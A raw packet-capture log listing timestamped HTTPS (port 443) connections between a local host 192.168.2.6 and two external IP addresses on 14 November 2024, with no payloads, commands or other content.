Nov 14, 2024 17:24:26.947983027 CET	443	49771	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:26.947999954 CET	49771	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:26.948007107 CET	443	49771	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:26.950880051 CET	49776	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:26.950898886 CET	443	49776	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:26.950993061 CET	49776	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:26.951136112 CET	49776	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:26.951143026 CET	443	49776	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:27.051784992 CET	443	49773	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:27.052320957 CET	49773	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:27.052347898 CET	443	49773	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:27.052938938 CET	49773	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:27.052951097 CET	443	49773	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:27.054352999 CET	443	49772	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:27.054764032 CET	49772	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:27.054796934 CET	443	49772	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:27.055121899 CET	49772	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:27.055133104 CET	443	49772	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:27.184003115 CET	443	49769	172.67.174.133	192.168.2.6
Nov 14, 2024 17:24:27.184122086 CET	443	49769	172.67.174.133	192.168.2.6
Nov 14, 2024 17:24:27.184187889 CET	49769	443	192.168.2.6	172.67.174.133
Nov 14, 2024 17:24:27.184441090 CET	49769	443	192.168.2.6	172.67.174.133
Nov 14, 2024 17:24:27.184465885 CET	443	49769	172.67.174.133	192.168.2.6
Nov 14, 2024 17:24:27.189254045 CET	443	49773	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:27.189337969 CET	443	49773	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:27.189388037 CET	49773	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:27.189568043 CET	49773	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:27.189582109 CET	443	49773	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:27.189598083 CET	49773	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:27.189603090 CET	443	49773	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:27.192549944 CET	443	49772	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:27.192832947 CET	49777	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:27.192877054 CET	443	49777	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:27.192898035 CET	443	49772	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:27.192940950 CET	49777	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:27.192972898 CET	49772	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:27.193013906 CET	49772	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:27.193037987 CET	443	49772	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:27.193053961 CET	49772	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:27.193061113 CET	443	49772	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:27.193206072 CET	49777	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:27.193223953 CET	443	49777	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:27.195300102 CET	49778	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:27.195358038 CET	443	49778	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:27.195425987 CET	49778	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:27.195580006 CET	49778	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:27.195595026 CET	443	49778	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:27.498665094 CET	443	49774	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:27.499228954 CET	49774	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:27.499244928 CET	443	49774	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:27.499744892 CET	49774	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:27.499751091 CET	443	49774	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:27.638897896 CET	443	49774	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:27.638968945 CET	443	49774	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:27.639023066 CET	49774	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:27.644016981 CET	49774	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:27.644047976 CET	443	49774	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:27.644062996 CET	49774	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:27.644073009 CET	443	49774	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:27.650338888 CET	49779	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:27.650377035 CET	443	49779	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:27.650432110 CET	49779	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:27.650580883 CET	49779	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:27.650592089 CET	443	49779	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:27.668579102 CET	443	49775	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:27.669131994 CET	49775	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:27.669164896 CET	443	49775	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:27.669785976 CET	49775	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:27.669797897 CET	443	49775	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:27.690468073 CET	443	49776	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:27.690903902 CET	49776	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:27.690927982 CET	443	49776	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:27.691531897 CET	49776	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:27.691538095 CET	443	49776	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:27.770636082 CET	49780	443	192.168.2.6	172.67.174.133
Nov 14, 2024 17:24:27.770692110 CET	443	49780	172.67.174.133	192.168.2.6
Nov 14, 2024 17:24:27.770759106 CET	49780	443	192.168.2.6	172.67.174.133
Nov 14, 2024 17:24:27.771110058 CET	49780	443	192.168.2.6	172.67.174.133
Nov 14, 2024 17:24:27.771126032 CET	443	49780	172.67.174.133	192.168.2.6
Nov 14, 2024 17:24:27.796313047 CET	443	49775	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:27.796453953 CET	443	49775	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:27.796570063 CET	49775	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:27.797091007 CET	49775	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:27.797117949 CET	443	49775	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:27.797133923 CET	49775	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:27.797141075 CET	443	49775	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:27.800180912 CET	49781	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:27.800252914 CET	443	49781	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:27.800343990 CET	49781	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:27.800508022 CET	49781	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:27.800523996 CET	443	49781	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:27.819685936 CET	443	49776	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:27.820095062 CET	443	49776	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:27.820180893 CET	49776	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:27.820215940 CET	49776	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:27.820234060 CET	443	49776	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:27.820246935 CET	49776	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:27.820252895 CET	443	49776	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:27.822829962 CET	49782	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:27.822874069 CET	443	49782	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:27.822968006 CET	49782	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:27.823108912 CET	49782	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:27.823126078 CET	443	49782	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:27.933794975 CET	443	49777	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:27.934351921 CET	49777	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:27.934366941 CET	443	49777	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:27.934847116 CET	49777	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:27.934854031 CET	443	49777	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:28.016402006 CET	443	49778	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:28.017024994 CET	49778	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:28.017035007 CET	443	49778	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:28.017566919 CET	49778	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:28.017571926 CET	443	49778	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:28.094599009 CET	443	49777	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:28.099472046 CET	443	49777	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:28.102828026 CET	49777	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:28.102828026 CET	49777	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:28.102828979 CET	49777	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:28.106154919 CET	49783	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:28.106203079 CET	443	49783	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:28.106451035 CET	49783	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:28.106848001 CET	49783	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:28.106862068 CET	443	49783	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:28.182269096 CET	443	49778	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:28.182393074 CET	443	49778	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:28.182607889 CET	49778	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:28.182651043 CET	49778	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:28.182663918 CET	443	49778	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:28.182674885 CET	49778	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:28.182679892 CET	443	49778	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:28.185846090 CET	49784	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:28.185933113 CET	443	49784	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:28.186028004 CET	49784	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:28.186175108 CET	49784	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:28.186197996 CET	443	49784	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:28.406030893 CET	443	49779	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:28.406213999 CET	49777	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:28.406254053 CET	443	49777	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:28.407278061 CET	49779	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:28.407278061 CET	49779	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:28.407294989 CET	443	49779	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:28.407332897 CET	443	49779	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:28.409002066 CET	443	49780	172.67.174.133	192.168.2.6
Nov 14, 2024 17:24:28.409092903 CET	49780	443	192.168.2.6	172.67.174.133
Nov 14, 2024 17:24:28.410226107 CET	49780	443	192.168.2.6	172.67.174.133
Nov 14, 2024 17:24:28.410233021 CET	443	49780	172.67.174.133	192.168.2.6
Nov 14, 2024 17:24:28.410552979 CET	443	49780	172.67.174.133	192.168.2.6
Nov 14, 2024 17:24:28.412730932 CET	49780	443	192.168.2.6	172.67.174.133
Nov 14, 2024 17:24:28.412981033 CET	49780	443	192.168.2.6	172.67.174.133
Nov 14, 2024 17:24:28.412985086 CET	443	49780	172.67.174.133	192.168.2.6
Nov 14, 2024 17:24:28.534468889 CET	443	49779	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:28.534517050 CET	443	49779	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:28.534755945 CET	49779	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:28.534936905 CET	49779	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:28.534936905 CET	49779	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:28.534955025 CET	443	49779	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:28.534965038 CET	443	49779	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:28.537960052 CET	49785	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:28.538007975 CET	443	49785	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:28.538295031 CET	49785	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:28.538513899 CET	49785	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:28.538527966 CET	443	49785	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:28.559153080 CET	443	49781	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:28.559560061 CET	49781	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:28.559581995 CET	443	49781	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:28.560026884 CET	49781	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:28.560034990 CET	443	49781	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:28.639394999 CET	443	49782	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:28.640265942 CET	49782	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:28.640291929 CET	443	49782	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:28.640850067 CET	49782	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:28.640856981 CET	443	49782	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:28.697810888 CET	443	49781	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:28.697968006 CET	443	49781	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:28.698369980 CET	49781	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:28.698407888 CET	49781	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:28.698434114 CET	443	49781	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:28.698446989 CET	49781	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:28.698455095 CET	443	49781	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:28.701406002 CET	49786	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:28.701517105 CET	443	49786	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:28.701628923 CET	49786	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:28.701801062 CET	49786	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:28.701822042 CET	443	49786	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:28.768543959 CET	443	49782	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:28.768707991 CET	443	49782	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:28.768791914 CET	49782	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:28.769012928 CET	49782	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:28.769032001 CET	443	49782	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:28.769048929 CET	49782	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:28.769056082 CET	443	49782	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:28.772365093 CET	49787	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:28.772412062 CET	443	49787	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:28.772706985 CET	49787	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:28.772903919 CET	49787	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:28.772911072 CET	443	49787	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:28.919020891 CET	443	49783	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:28.919621944 CET	49783	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:28.919642925 CET	443	49783	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:28.920130968 CET	49783	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:28.920139074 CET	443	49783	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:28.938586950 CET	443	49780	172.67.174.133	192.168.2.6
Nov 14, 2024 17:24:28.938833952 CET	443	49780	172.67.174.133	192.168.2.6
Nov 14, 2024 17:24:28.938867092 CET	49780	443	192.168.2.6	172.67.174.133
Nov 14, 2024 17:24:28.938891888 CET	49780	443	192.168.2.6	172.67.174.133
Nov 14, 2024 17:24:28.959587097 CET	443	49784	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:28.960268021 CET	49784	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:28.960331917 CET	443	49784	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:28.960736036 CET	49784	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:28.960762978 CET	443	49784	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:29.093633890 CET	443	49784	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:29.093735933 CET	443	49784	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:29.093797922 CET	49784	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:29.094017982 CET	49784	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:29.094069004 CET	443	49784	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:29.094099998 CET	49784	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:29.094115973 CET	443	49784	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:29.097554922 CET	49788	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:29.097599030 CET	443	49788	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:29.097683907 CET	49788	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:29.097901106 CET	49788	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:29.097915888 CET	443	49788	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:29.112689018 CET	443	49783	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:29.112759113 CET	443	49783	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:29.112808943 CET	49783	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:29.112957001 CET	49783	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:29.112982988 CET	443	49783	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:29.112998009 CET	49783	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:29.113006115 CET	443	49783	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:29.115500927 CET	49789	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:29.115592957 CET	443	49789	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:29.115694046 CET	49789	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:29.115856886 CET	49789	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:29.115891933 CET	443	49789	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:29.305452108 CET	443	49785	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:29.326284885 CET	49785	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:29.326320887 CET	443	49785	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:29.326782942 CET	49785	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:29.326787949 CET	443	49785	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:29.455157042 CET	443	49785	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:29.455219030 CET	443	49785	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:29.455286026 CET	49785	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:29.455545902 CET	49785	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:29.455564022 CET	443	49785	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:29.455574036 CET	49785	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:29.455584049 CET	443	49785	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:29.458605051 CET	49790	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:29.458645105 CET	443	49790	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:29.458728075 CET	49790	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:29.458873034 CET	49790	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:29.458878040 CET	443	49790	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:29.489468098 CET	49791	443	192.168.2.6	172.67.174.133
Nov 14, 2024 17:24:29.489536047 CET	443	49791	172.67.174.133	192.168.2.6
Nov 14, 2024 17:24:29.489635944 CET	49791	443	192.168.2.6	172.67.174.133
Nov 14, 2024 17:24:29.489995003 CET	49791	443	192.168.2.6	172.67.174.133
Nov 14, 2024 17:24:29.490014076 CET	443	49791	172.67.174.133	192.168.2.6
Nov 14, 2024 17:24:29.516849995 CET	443	49786	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:29.517673016 CET	49786	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:29.517736912 CET	443	49786	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:29.518321037 CET	49786	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:29.518337011 CET	443	49786	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:29.558578968 CET	443	49787	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:29.559184074 CET	49787	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:29.559252024 CET	443	49787	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:29.559827089 CET	49787	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:29.559845924 CET	443	49787	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:29.648706913 CET	443	49786	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:29.649004936 CET	443	49786	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:29.649072886 CET	49786	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:29.652275085 CET	49786	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:29.652318954 CET	443	49786	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:29.652348995 CET	49786	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:29.652365923 CET	443	49786	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:29.655596972 CET	49792	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:29.655647039 CET	443	49792	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:29.655714989 CET	49792	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:29.655874968 CET	49792	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:29.655890942 CET	443	49792	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:29.688831091 CET	443	49787	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:29.689364910 CET	443	49787	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:29.689424992 CET	49787	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:29.689481020 CET	49787	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:29.689496994 CET	443	49787	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:29.689507961 CET	49787	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:29.689513922 CET	443	49787	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:29.693332911 CET	49793	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:29.693355083 CET	443	49793	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:29.693409920 CET	49793	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:29.693753004 CET	49793	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:29.693767071 CET	443	49793	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:29.882917881 CET	443	49788	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:29.883575916 CET	49788	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:29.883594036 CET	443	49788	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:29.884061098 CET	49788	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:29.884064913 CET	443	49788	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:29.895206928 CET	443	49789	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:29.895708084 CET	49789	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:29.895751953 CET	443	49789	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:29.896294117 CET	49789	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:29.896301031 CET	443	49789	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:30.016237974 CET	443	49788	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:30.016496897 CET	443	49788	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:30.016585112 CET	49788	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:30.016823053 CET	49788	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:30.016838074 CET	443	49788	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:30.016846895 CET	49788	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:30.016851902 CET	443	49788	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:30.019694090 CET	49794	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:30.019745111 CET	443	49794	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:30.019836903 CET	49794	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:30.019989014 CET	49794	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:30.020003080 CET	443	49794	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:30.027815104 CET	443	49789	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:30.028034925 CET	443	49789	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:30.028109074 CET	49789	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:30.028227091 CET	49789	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:30.028227091 CET	49789	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:30.028265953 CET	443	49789	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:30.028292894 CET	443	49789	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:30.030100107 CET	49795	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:30.030150890 CET	443	49795	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:30.030730963 CET	49795	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:30.030858994 CET	49795	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:24:30.030874968 CET	443	49795	13.107.246.45	192.168.2.6
Nov 14, 2024 17:24:30.127077103 CET	443	49791	172.67.174.133	192.168.2.6
Nov 14, 2024 17:24:30.127398968 CET	49791	443	192.168.2.6	172.67.174.133
Nov 14, 2024 17:24:30.128623009 CET	49791	443	192.168.2.6	172.67.174.133
Nov 14, 2024 17:24:30.128638029 CET	443	49791	172.67.174.133	192.168.2.6
Nov 14, 2024 17:24:30.128966093 CET	443	49791	172.67.174.133	192.168.2.6
Nov 14, 2024 17:24:30.133076906 CET	49791	443	192.168.2.6	172.67.174.133
Nov 14, 2024 17:24:30.133867025 CET	49791	443	192.168.2.6	172.67.174.133
Nov 14, 2024 17:24:30.133904934 CET	443	49791	172.67.174.133	192.168.2.6
Nov 14, 2024 17:24:30.134001017 CET	49791	443	192.168.2.6	172.67.174.133
Nov 14, 2024 17:24:30.134044886 CET	443	49791	172.67.174.133	192.168.2.6
Nov 14, 2024 17:24:30.134150982 CET	49791	443	192.168.2.6	172.67.174.133
Nov 14, 2024 17:24:30.134201050 CET	443	49791	172.67.174.133	192.168.2.6
Nov 14, 2024 17:24:30.134316921 CET	49791	443	192.168.2.6	172.67.174.133
Nov 14, 2024 17:24:30.134346008 CET	443	49791	172.67.174.133	192.168.2.6
Nov 14, 2024 17:24:30.134489059 CET	49791	443	192.168.2.6	172.67.174.133
Nov 14, 2024 17:24:30.134520054 CET	443	49791	172.67.174.133	192.168.2.6
